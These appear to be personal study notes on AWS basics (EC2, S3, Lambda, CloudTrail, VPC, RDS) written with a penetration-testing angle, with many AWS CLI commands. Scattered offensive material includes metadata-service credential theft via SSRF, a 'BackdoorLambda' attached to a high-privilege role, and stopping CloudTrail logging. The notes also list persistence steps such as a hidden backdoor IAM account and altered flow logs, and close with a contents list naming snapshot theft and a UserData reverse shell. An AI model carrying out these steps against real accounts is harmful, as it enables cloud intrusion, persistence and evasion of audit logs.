Use iam:CreateAccessKey to create a new API Key for accessing AWS
Use iam:PassRole + ec2:RunInstances to attach a highly privileged role through EC2

3️⃣ Abusing IAM roles

Use aws sts assume-role to obtain temporary permissions
Read the IAM role of an EC2 instance (169.254.169.254/latest/meta-data/iam/security-credentials/)
Read IAM role credentials through SSRF (IMDS v1 vulnerability)
IMDS v2 protections and bypass techniques

4️⃣ Analyzing IAM access policies

Parse policy content returned by aws iam list-policies
Interpret IAM policies in JSON format
Use aws iam get-policy-version to view policy version history
Find overly privileged IAM roles (Overly Permissive Policies)

5️⃣ IAM role abuse

Use aws iam list-attached-role-policies to inspect policies attached to an IAM role
Use sts assume-role to obtain cross-account access
Find misconfigured external identity providers (OIDC/SAML)

6️⃣ Accessing AWS resources with an IAM account

Use aws s3 ls to enumerate an IAM account’s access to S3
Use aws ec2 describe-instances to check access to EC2 resources
Use aws lambda list-functions to view the IAM roles attached to Lambda functions

7️⃣ IAM account data exposure

Public S3 buckets (aws s3 ls s3://target-bucket --no-sign-request)
Exposed CloudFormation/Terraform configuration files
Use aws iam get-account-authorization-details to retrieve detailed IAM account permissions
Use aws iam list-access-keys to check for exposed AWS API Keys

8️⃣ Defense and detection

Monitor AWS CloudTrail logs to detect IAM account abuse
Use AWS GuardDuty to monitor unusual IAM activity
Restrict the scope of sts:AssumeRole access for IAM roles
Enable IAM Access Analyzer

EC2

You can think of EC2 as a “virtual machine in the cloud” provided by AWS. Its main concepts include:

Instance: A cloud server that can be started, stopped, and restarted.
AMI (Amazon Machine Image): An operating system image for EC2, such as Ubuntu, Amazon Linux, or Windows Server.
Instance Type: Determines the CPU, memory, and bandwidth, such as the free t2.micro.
EBS (Elastic Block Store): EC2 disk storage—the cloud equivalent of a hard drive.
Security Group: EC2 firewall rules that control which IPs are allowed to connect.
Public IP & Private IP:

Public IP: An IP that can be accessed directly from the internet.
Private IP: An IP that can only be accessed inside a VPC (the AWS internal network).

Create an instance by searching for EC2 and opening the instance creation page, then use the configuration shown below. On the free tier, an instance is free if total use stays under 750 hours per month. Since 750 hours is a little over 31 days, you might wonder why they do not simply call it free. EC2 lets you create multiple instances, though: if you create two, each can only run for 375 hours. I use the configuration below. (Amazon Linux is widely used outside China and integrates conveniently with AWS, so I create that here. It is also a chance to learn how Amazon Linux differs from ordinary Linux distributions.)

That is enough. Connect over SSH and try it out—the main goal is simply to understand what EC2 is.

There is also the Security Group, which is very similar to what you see with Alibaba Cloud and other Chinese cloud providers. Those providers enable this firewall automatically, so even after opening a port on the machine itself, you still have to open it in the Alibaba Cloud console. It is basically a firewall.

Next is EBS. I think of it in terms of a VMware virtual machine: when a virtual machine needs more storage, you can attach another virtual disk. The disk itself is virtualized and does not disappear. It is like plugging in another hard drive that can store data independently—essentially a convenient standalone cloud disk.

That may be the whole idea behind cloud services. EFS, meanwhile, is a disk shared over NFS. I do wonder whether communication might lag, but it still sounds pretty useful.

S3

S3 is object storage, not a traditional file system.

Alibaba Cloud OSS provides plenty of familiar real-world examples. When you upload a file, for instance, it is often uploaded to an OSS service and read back from there. No matter how you upload it, the file never reaches the local server; it goes to another cloud service instead. To me, S3 does not seem very different from OSS.

Differences Between S3 and OSS

Feature	AWS S3	Alibaba Cloud OSS
Bucket name	Globally unique	Unique within a region
Region restrictions	You must choose an AWS region, such as us-east-1	You must choose an Alibaba Cloud region, such as cn-hangzhou
Storage classes	Standard, Infrequent Access (IA), Glacier	Standard, Infrequent Access, Archive, Cold Archive
API compatibility	S3 API	Partially compatible with the S3 API, with additional proprietary Alibaba Cloud APIs
Default access	Private by default; must be changed manually	Private by default; must be changed manually
Cross-region replication	Supports replication across AWS regions	Supports replication across Alibaba Cloud regions

Buckets are private by default, so you can store backups and other material without other people seeing it. To start working with S3, we need to learn how to create a bucket and try operating it through a URL and AWSCLI.

Creating an S3 Bucket

Use the following configuration.

After creating the bucket, find it and upload any file.

Then enter the following policy under Bucket policy:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Principal": "*",
 "Action": "s3:GetObject",
 "Resource": "arn:aws:s3:::mentalityxttest/*"
 }
 ]
}

By default, only the current user can access uploaded resources. For learning purposes, however, it is easier to make everything public. After allowing the bucket policy to control access, we still need to add a rule permitting external access to the bucket. At that point, the image becomes accessible.

AWS CLI

First, Check Whether AWS CLI Is Installed

Run:

1

aws --version

If it is not installed, see the official documentation:

Linux/macOS:

1
2


curl "https://awscli.amazonaws.com/AWSCLIV2.pkg" -o "AWSCLIV2.pkg"
sudo installer -pkg AWSCLIV2.pkg -target /

Windows: Download AWS CLI

Configuring AWS CLI (Linking Your AWS Account)

You need to configure an Access Key and Secret Key, which can be created in IAM, and then run:

1

aws configure

Enter the following when prompted:

AWS Access Key ID: Your AWS access key
AWS Secret Access Key: Your AWS secret key
Default region name: ap-southeast-1 (the region you selected)
Default output format: json (JSON is the default and recommended format)

The region is shown on the home page. Both keys are under the user’s access keys.

Common S3 CLI Operations

These are common S3 commands. Together with the bucket permissions above, you can test them directly in a terminal.

Create an S3 bucket:

1

aws s3 mb s3://your-bucket-name

mb = make bucket

List buckets:

1

aws s3 ls

Upload a file to S3:

1

aws s3 cp localfile.jpg s3://your-bucket-name/

cp = copy

To upload an entire folder recursively:

1

aws s3 cp ./my-folder s3://your-bucket-name/ --recursive

Download a file from S3:

1

aws s3 cp s3://your-bucket-name/3.jpg ./localfile.jpg

List files in a bucket:

1

aws s3 ls s3://your-bucket-name/

Delete a file from an S3 bucket:

1

aws s3 rm s3://your-bucket-name/3.jpg

Delete an entire bucket:

1

aws s3 rb s3://your-bucket-name --force

rb = remove bucket, and --force deletes all contents before deleting the bucket.

Lambda

Lambda is a managed environment that can run code automatically. Think of it like this: you write some Python code → but do not need to run a server for it.

Event Source: When does the Lambda code run?
S3 event: Run Lambda automatically after a file is uploaded
API Gateway: Triggered when a user accesses an API
CloudWatch event: Triggered on a schedule
SNS / SQS message: A message triggers Lambda

Runtime:

Lambda supports several languages, including Python, Node.js, Go, Java, C#, and Ruby.
You need to choose a runtime, such as Python 3.9.

Execution time limit:

Lambda has a maximum execution time of 15 minutes.
The longer the code runs, the more it costs.

Search for Lambda to find it. When you first open it, there is a tutorial you can follow step by step, so take your time. One particularly interesting part is how it responds to events. As listed above, both S3 events and API events can trigger Lambda functions, which is pretty neat.

The defaults are fine. Add a trigger first, mainly to get familiar with the process.

Start testing by uploading a file to S3.

1

aws s3 cp .\3.jpg s3://*********/3.jpg

You can see that it was triggered.

Of course, you can view the details in CloudWatch.

As for the exact event, all we can see at this point is that Lambda was triggered. We cannot tell which event triggered it or what the result was.

Go back to Lambda, enter the following code, and click Deploy to save it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


import json

def lambda_handler(event, context):
 print("=== Lambda Triggered ===")
 print(json.dumps(event, indent=4)) # Print the event that triggered Lambda

 response = {
 'statusCode': 200,
 'body': json.dumps('Lambda ran successfully')
 }

 print("=== Lambda Return Value ===")
 print(json.dumps(response, indent=4)) # Print the result returned by Lambda

 return response

Trigger it again. Uploading a file or clicking the code test button will both work.

This is the log from testing the code directly. You can see that the returned JSON is identical to the JSON in the test and was recorded in the log.

This is the log triggered by uploading a file to the S3 bucket. It includes detailed AWSCLI fields, the uploaded filename, the bucket name, the file size, and more.

event (event data)

event is the data AWS passes in automatically when it triggers Lambda. For example:

When S3 triggers Lambda, event contains the uploaded filename and bucket name.
When API Gateway triggers Lambda, event contains HTTP request information.
When CloudWatch triggers Lambda, event contains scheduled-task information.

That is why printing event gave us so much information about the S3 bucket, including the uploader’s IP.

context (execution environment)

context is not event data. It contains environment information from AWS while Lambda is running, such as:

context.function_name → Lambda function name
context.memory_limit_in_mb → Allocated memory
context.aws_request_id → ID of the current request
context.get_remaining_time_in_millis() → Remaining Lambda execution time

context contains the information above. If you want to inspect it, you can also reference it in the function.

AWS CLI

First, make sure you have configured AWS CLI correctly with aws configure and have sufficient permissions.

Listing All Lambda Functions

1

aws lambda list-functions

This command returns a list of your Lambda functions. You should see MyFirstFunction.

Getting Lambda Details

1

aws lambda get-function --function-name MyFirstFunction

This displays the Lambda code storage location, runtime (Python 3.9), execution role, and other information. It also returns a link to the ZIP archive containing the code, which you can download.

Invoking Lambda Manually

You can trigger Lambda directly from the CLI, which is equivalent to the console’s “Test” feature.

1
2
3
4
5
6
7


aws lambda invoke \
 --function-name MyFirstFunction \
 --payload '{"key1": "value1", "key2": "value2"}' \
 --cli-binary-format raw-in-base64-out \
 response.json

aws lambda invoke --function-name MyFirstFunction --payload "{\"key1\": \"value1\", \"key2\": \"value2\"}" response.json --cli-binary-format raw-in-base64-out

After Lambda finishes, the result is saved to response.json.

If you use a newer version of AWS CLI v2, add –cli-binary-format raw-in-base64-out so AWS CLI sends the JSON request body directly without base64 encoding, allowing Lambda to parse it correctly.

View the result:

1

cat response.json

You should see:

1
2
3
4


{
 "statusCode": 200,
 "body": "\"Lambda ran successfully\""
}

If your Lambda code prints event, you will also see logs showing how it parsed the input data.

Updating Lambda Code

Suppose you have a new lambda_function.py. You can upload it like this:

1
2
3
4
5


zip function.zip lambda_function.py

aws lambda update-function-code \
 --function-name MyFirstFunction \
 --zip-file fileb://function.zip

This command updates the Lambda code directly, so you do not need to upload it manually through the AWS console.

Updating Lambda Configuration

To change the Lambda runtime, memory, or timeout, use:

1
2
3
4


aws lambda update-function-configuration \
 --function-name MyFirstFunction \
 --memory-size 256 \
 --timeout 30

This changes the Lambda memory to 256MB and the timeout to 30 seconds.

Deleting a Lambda Function

If you no longer need this Lambda function, delete it with:

1

aws lambda delete-function --function-name MyFirstFunction

Warning: This operation is irreversible!

Writing and Uploading Lambda Code

I will skip the basics here. More advanced work involves boto3, which I still need to learn.

1
2
3
4
5
6
7
8


import json

def lambda_handler(event, context):
 # TODO implement
 return {
 'statusCode': 200,
 'body': json.dumps('Hello from Lambda!')
 }

1

zip function.zip lambda_function.py

1
2
3
4
5
6


aws lambda create-function \
 --function-name BackdoorLambda \
 --runtime python3.8 \
 --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://function.zip

CloudTrail

CloudTrail is the audit log for an AWS account.

Records who (users, roles, or services) did what in AWS, such as creating, modifying, or deleting resources.
Records when and from where, including the IP address and geographic location, someone accessed AWS.
Records API calls made through the AWS console, CLI, or SDK.

Put simply, CloudTrail is like the “black box” of an AWS account. It records AWS activity to help troubleshoot problems and spot anomalies.

It is mainly used for activity auditing, much like a bastion host recording every action performed by operations staff.

Create one and you will be able to see events here. Calls to S3 interfaces, such as running ls or downloading a file, are not recorded unless data events are enabled. As shown below, data events can be enabled, but they cost money, so I am leaving them alone. It is enough for now to understand how to call these APIs. Next, let us look at AWSCLI.

AWS CLI

Querying Recent CloudTrail Events

1

aws cloudtrail lookup-events --max-results 10

This queries the 10 most recent events. By default, it returns all management events, excluding S3 data events.

Querying by Event Name

1

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateBucket

This filters for all CreateBucket events, meaning S3 bucket creation operations.

1

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject

This attempts to find S3 file download (GetObject) events, provided you have already enabled S3 data events.

Querying by IAM User

1

aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=MentalityXt --max-results 10

This finds the 10 most recent operations by the MentalityXt user.

Querying by Resource Name

1

aws cloudtrail lookup-events --lookup-attributes AttributeKey=ResourceName,AttributeValue=mentalityxttest

This filters for all events involving the mentalityxttest S3 bucket.

Querying by Time Range

1

aws cloudtrail lookup-events --start-time "2025-03-03T00:00:00Z" --end-time "2025-03-03T23:59:59Z"

This queries all CloudTrail events from March 3, 2025.

Listing All CloudTrail Trails

1

aws cloudtrail list-trails

This lists every CloudTrail trail in the AWS account.

Getting Details About a Trail

1

aws cloudtrail describe-trails

This queries detailed information about CloudTrail trails, including their S3 log storage locations.

Stopping CloudTrail Logging

1

aws cloudtrail stop-logging --name management-events

This stops logging for the management-events trail. It does not delete logs that have already been stored.

Restarting CloudTrail Logging

1

aws cloudtrail start-logging --name management-events

This restarts logging for the management-events trail.

Downloading CloudTrail Event Logs

1

aws s3 ls s3://aws-cloudtrail-logs-6502********-63db363a/AWSLogs/6502********/CloudTrail/

This lists CloudTrail logs stored in S3, if you enabled S3 storage.

1
2


aws s3 cp s3://aws-cloudtrail-logs-6502********-63db363a/AWSLogs/6502********/CloudTrail/2025/03/03/LOG_FILE.json.gz .
gunzip LOG_FILE.json.gz

This downloads and extracts a CloudTrail log file so it can be analyzed locally.

I listed a whole pile of commands above, but I think the log-download command is the most useful because it lets you download all the logs and analyze them at your own pace. The individual queries are more useful when the data volume is particularly large. If there is not much data, downloading everything for analysis is probably better. So far, I have noted only a handful of AWS CLI commands. They are really meant for a scenario where a leaked Access Key and Secret Key can be used to retrieve information through the API. There is no need to memorize all of this, but you should know that these API request methods exist.

CloudWatch

CloudWatch is AWS’s monitoring and log management service. It can:

Monitor AWS resources, including EC2, S3, Lambda, and RDS
Collect and store logs from Lambda, EC2, CloudTrail, and more
Configure alarms, such as an alarm triggered when CPU usage exceeds 80%
Visualize data by creating Dashboards

It is similar to the previous service, but CloudTrail primarily audits user actions, while CloudWatch monitors resources. If you have used almost any security appliance, you have probably seen something like this in a WAF, IPS/IDS, situational-awareness platform, and so on.

Just search for it, open it, and have a look. API auditing can sometimes be broken down in more detail. We actually created something in the Lambda section and opened it once, so I will drop in a screenshot here.

You can click through the other items one by one to get a general feel for them. Also:

CloudWatch itself does not record API requests, but CloudTrail records API calls
To see API logs in CloudWatch, you need to send CloudTrail events to CloudWatch Logs
Then you can use AWS CLI to query API call logs!

I will not go into more detail here. If I need to deploy services on AWS later, I can learn more then. It is not necessary right now.

While looking around, I found an interesting feature: the traffic monitor. It requires an EC2 instance, though, and I had already shut mine down because I barely use it after finishing the lesson and it might cost money. That is why there is no traffic data below.

With the default setup, it records rejected traffic but not successful flows. The method below can forward those logs.

Pay attention to the location in the upper-left corner. It is a bit of a hassle, so I will not set it up here. It is worth mentioning that this can also be configured and queried through AWSCLI. I thought of a scenario: suppose a target’s KEY is exposed, and the target also runs a popular site. Its traffic may be unencrypted, or it might use JS encryption that can be reversed. Capturing other users’ traffic could easily reveal their passwords or COOKIEs, which would be pretty serious. (That actually does not work. It can only record the source IP/target IP, source port/target port, transport protocol (TCP/UDP/ICMP), and packet/byte counts.) That makes it feel useful mostly for development, apart from cloud security cases where you also need to enable it. I have realized that everything I am studying covers both attack and defense: logging systems can support tracing, incident response, and reconstruction of an attack chain.

The crossed-out idea above can be handled another way. AWS also has a WAF where you can write custom rules. When a login request contains sensitive terms such as username/passwd, you can add a rule and capture it, but that costs money.

Never mind. It is enough to know that the feature exists.

VPC

A VPC is a Virtual Private Cloud on AWS
You can create resources such as EC2 instances, databases (RDS), and load balancers (ELB) inside a VPC
A VPC lets you control the network topology, including subnets, route tables, security groups, and NACLs
All AWS resources run inside some VPC

I first learned this concept during an internship in 2022. At the time, I wanted to buy a VPS to run some services, but I found that a VPC seemed cheaper than a VPS and felt roughly the same. What I really wanted was the public IP.

A VPC is mainly a network environment. Everything below relates to network configuration. With the right setup, you could actually build an internal AWS lateral-movement lab with dual-NIC machines, which sounds pretty interesting.

In the EC2 section, I mentioned that this seemed different from aliyun. Over there, the firewall is built in, while I could not find it here. It turns out it is here.

My understanding is still pretty basic, so it is worth looking through everything. VPC handles network traffic, while EC2 is mainly for compute, such as assigning CPU and memory to an operating system.

On the defensive side, VPC is mainly about access control and traffic management. On the offensive side, the goal is to obtain configuration information or bypass those defenses.

That is roughly how I understand it. The defensive VPC features are listed on the left in the screenshot above, while our focus is mainly offensive. Here are some important APIs for querying this configuration information, assuming you have obtained a KEY.

Service	What the API does	Potential offensive use
VPC	`DescribeVpcs`	Retrieve the CIDR, status, default VPC, and other details for all VPCs
Subnet	`DescribeSubnets`	View the IP ranges, availability zones, and other details for all subnets
Route Table	`DescribeRouteTables`	Retrieve routing configuration for the current VPC and inspect public-access policies
NACL (Network ACL)	`DescribeNetworkAcls`	View ACL rules for the current VPC, including inbound and outbound restrictions
Security Groups	`DescribeSecurityGroups`	Retrieve EC2 security-group rules and look for open ports
Internet Gateway (IGW)	`DescribeInternetGateways`	Determine how the VPC connects to external networks and whether it is exposed publicly
NAT Gateway	`DescribeNatGateways`	Retrieve NAT proxy information that might allow public-network restrictions to be bypassed
VPN Connection	`DescribeVpnConnections`	Retrieve VPN connection information and potentially attempt to hijack the VPN
DNS Firewall	`ListFirewallRules`	Retrieve DNS firewall rules and potentially attempt to bypass filtering
Elastic IP	`DescribeAddresses`	Retrieve public IPs attached to the current account and look for targets

These APIs can all be queried through AWS CLI or an SDK, for example:

1
2
3


aws ec2 describe-security-groups --region us-east-1
aws ec2 describe-route-tables --region us-east-1
aws ec2 describe-network-acls --region us-east-1

Use the results from these APIs to find vulnerabilities and work out how to bypass them.

Create new security-group rules to loosen access restrictions
Create a hidden IAM account to maintain a backdoor
Modify VPC flow logs to hide access records
Create an Elastic IP and attach it to an instance you control

RDS

RDS is mainly used to manage relational databases. Compared with deploying MySQL yourself:

Less manual administration: AWS automatically manages backups, patches, monitoring, and scaling.
High availability: You can deploy across multiple Availability Zones (AZs) so the database stays available during failures.
Security: You can use private VPC deployment, encrypted storage, and automatic backups.
Performance optimization: It supports automatic scaling, Read Replicas, and Aurora for high-performance reads and writes.

This is where things start to become a little more important. Developers often use cloud database services because they are more convenient, more secure, and cheaper.

Key RDS Concepts

Concept	Purpose
RDS instance	The host running the database, equivalent to a database server
Database engine	Supports MySQL, PostgreSQL, MariaDB, Oracle, SQL Server, and Aurora
Subnet Group	Runs the database in specific VPC subnets
Security Group	Controls access to RDS, including whether external connections are permitted
Parameter Group	Controls database configuration parameters, such as MySQL’s `max_connections`
Snapshot	Backs up the database so it can be restored at any time
Read Replica	Optimizes read operations and reduces load on the primary instance
Multi-AZ deployment	Runs the primary database across multiple Availability Zones (AZs) so primary/standby failover does not interrupt service

Setting Up MYSQL

As before, find the corresponding console. This time, we are looking for RDS.

Follow my configuration below, or you may be charged.

For everything else, clicking through with the defaults is fine.

Connecting to MYSQL (AWSCLI)

I will skip the first method, which is connecting from EC2. It is just a normal database connection.

1

mysql -h your-rds-endpoint -u admin -p

The second method, through AWSCLI, is the main one here.

Querying RDS Instances

1

aws rds describe-db-instances

Example response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


{
 "DBInstances": [
 {
 "DBInstanceIdentifier": "mydatabase",
 "DBInstanceClass": "db.t3.micro",
 "Engine": "mysql",
 "DBInstanceStatus": "available",
 "Endpoint": {
 "Address": "mydatabase.xxxxxxxx.us-east-1.rds.amazonaws.com",
 "Port": 3306
 },
 "VpcSecurityGroups": [
 {
 "VpcSecurityGroupId": "sg-0abcd1234",
 "Status": "active"
 }
 ]
 }
 ]
}

You can get the RDS connection address from “Endpoint”
“DBInstanceStatus” shows the database status

Backing Up RDS

1

aws rds create-db-snapshot --db-instance-identifier mydatabase --db-snapshot-identifier mybackup

Create a snapshot (backup)

Deleting RDS

1

aws rds delete-db-instance --db-instance-identifier mydatabase --skip-final-snapshot

Delete the database immediately, skipping the final snapshot

Checking Whether RDS Allows Public Access

1

aws rds describe-db-instances --query "DBInstances[*].[DBInstanceIdentifier, PubliclyAccessible]"

Example response (access was denied):

1
2
3
4
5
6


[
 [
 "database-1",
 false
 ]
]

Enabling Public Access to RDS

1
2
3
4
5
6


aws rds modify-db-instance \
 --db-instance-identifier mydatabase \
 --publicly-accessible \
 --apply-immediately

aws rds modify-db-instance --db-instance-identifier mydatabase --publicly-accessible --apply-immediately

Once the command completes, it returns the MySQL address and enables public access.

Enabling the RDS Security-Group Policy

The step above successfully enabled external access to MySQL in RDS, but the security group still blocks it. Even though public access is enabled, the security group is a firewall, and the database remains unreachable until the traffic is allowed. Here, we add an inbound rule to the security group.

1

aws rds describe-db-instances --query "DBInstances[*].[DBInstanceIdentifier,VpcSecurityGroups]"

result:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


[
 [
 "database-1",
 [
 {
 "VpcSecurityGroupId": "sg-0e8c9518e********",
 "Status": "active"
 }
 ]
 ]
]

Remember the VpcSecurityGroupId.

Grant access:

1
2
3
4
5
6
7
8
9


aws ec2 authorize-security-group-ingress \
 --group-id sg-0123456789abcdef \
 --protocol tcp \
 --port 3306 \
 --cidr YOUR_IP/32

For safety, you can also run curl ifconfig.me
After finding the IP, replace YOUR_IP above with the current IP rather than 0.0.0.0
aws ec2 authorize-security-group-ingress --group-id sg-0123456789abcdef --protocol tcp --port 3306 --cidr 0.0.0.0/0

Success.

Changing the MYSQL Password

1
2
3


aws rds modify-db-instance \
 --db-instance-identifier database-1 \
 --master-user-password "NewPassword123!"

The command above can change the password directly, after which you can connect and inspect the data. This is generally not allowed, though. Even during an authorized penetration test, doing this could get you into serious trouble. Just make a note of it.

That wraps up RDS. We added an inbound rule with AWSCLI and configured RDS for external access. Now delete everything through the web console.

The second step is to disable remote access to RDS.

1

aws rds modify-db-instance --db-instance-identifier mydatabase --no-publicly-accessible --apply-immediately

Steps:

Go to the AWS console → RDS service.
Find your database-1 database in the Database instances list.
Click Modify.
Find the Connectivity section and clear Publicly accessible.
Choose Apply Immediately or Wait for the maintenance window.
Save the changes and wait for the RDS instance to restart.

I already deleted mine, so I will not include screenshots of these steps.

Fundamentals Complete

That completes the fundamentals. If you need to set up a service, define a baseline, configure access control, manage storage, or do anything similar, everything covered above can help you do it. You can even use what you learned to build a free web server with a solid architecture spanning several different services.

There are plenty of directions to go next. I could take AWS Certified Security – Specialty first, for example, or choose one of the following:

Follow the security path: dig deeper into IAM, VPC, attack-and-defense exercises, and penetration testing
Follow the DevOps & automation path: Terraform, CI/CD, and Serverless
Explore specialized AWS services: AI, IoT, blockchain, and more

CI/CD appears quite a lot in Jenkins, Azure DevOps, and similar platforms. I am not sure whether AWS’s built-in DevOps tooling can be used to carry out penetration testing. My next step is penetration testing on the security track.

AWS on MentalityXt

AWS Cloud Penetration Testing

Exploiting the EC2 Instance Metadata Service (IMDS)

Practical AWS Metadata Service Exploitation

Attaching an IAM Role to EC2

Important EC2 Metadata Service Endpoints

IAM Penetration Testing (Role Switching & Permission Abuse)

Role Switching with sts:AssumeRole

Theory

Lab Setup

Reproduction and Verification

Additional Notes

Abusing the iam:PassRole Permission

Theory

Lab Setup

Reproduction and Verification

Additional Notes

Reading Policies with iam:GetPolicyVersion

Theory

Lab Setup

Listing All Managed Policies in the Account

Querying a Policy’s Default Version

Reading the Full Policy Document

Querying Policies Attached to a User

Querying Policies Attached to a Role

Querying Policies Attached to a Group

Reproduction and Verification

Additional Notes

iam:CreateAccessKey: Creating a New Access Key

Theory

Setting Up the Environment

Reproduction and Verification

Additional Notes

Additional IAM Penetration Techniques

iam:CreateUser (Creating a New IAM User)

iam:AttachUserPolicy (Attaching a High-Privilege Policy to a Low-Privilege User)

Closing Thoughts on IAM Penetration Testing

Storage Service (S3) Attack Surface

S3 Bucket Enumeration

Access Control for S3 Buckets

S3 Bucket Enumeration Methods

Manual Verification

Tool-Based Probing

Bypassing Bucket Policies

Incorrect Bucket Policy: Cross-Account Access Vulnerability

Presigned URL Hijacking

Data Exfiltration and Persistence

Downloading Sensitive Files from S3

Stealing RDS Database Snapshots

1. Check Whether an RDS Snapshot Can Be Created

2. View RDS Snapshots in the Current Account

3. Share the Snapshot with the Attacker’s Account

4. Restore RDS in the Attacker’s Account

5. Copy RDS to Remove the Original Encryption (More Complex)

Create a New KMS Key

Copy the Snapshot Using the New KMS Key

Allow the Target Account to Access This KMS Key

Share the New Snapshot

Creating a Backdoor User (Stealthy Backdoor Technique)

Steps for Creating a Backdoor User

1. Create a Discreet IAM User

2. Create an Access Key for the User

3. Give the User Discreet Administrator Permissions

4. Hide the User Further

Shadow Account Technique

Advanced Attack Techniques

AWS CLI Credential Leaks

Where AWS CLI Credentials Are Stored

Common Ways AWS CLI Credentials Get Leaked

1. Leaks in Source Code

2. Leaks in Logs

3. Shell History

4. Environment Variable Leaks

5. Attacking the AWS Instance Metadata Service (IMDS)

Exploiting Leaked AWS CLI Credentials

Check Whether the Credentials Are Valid

Enumerate Permissions in the AWS Account

Escalate Privileges to Administrator

Establish Persistent Backdoor Access

Summary of AWS CLI Credential Leaks

Querying a Policy’s `Default Version`

`iam:CreateUser` (Creating a New IAM User)

`iam:AttachUserPolicy` (Attaching a High-Privilege Policy to a Low-Privilege User)

2. Inject a Reverse Shell into EC2 `UserData`

3. Mounting `/var/run/docker.sock` to Access the Host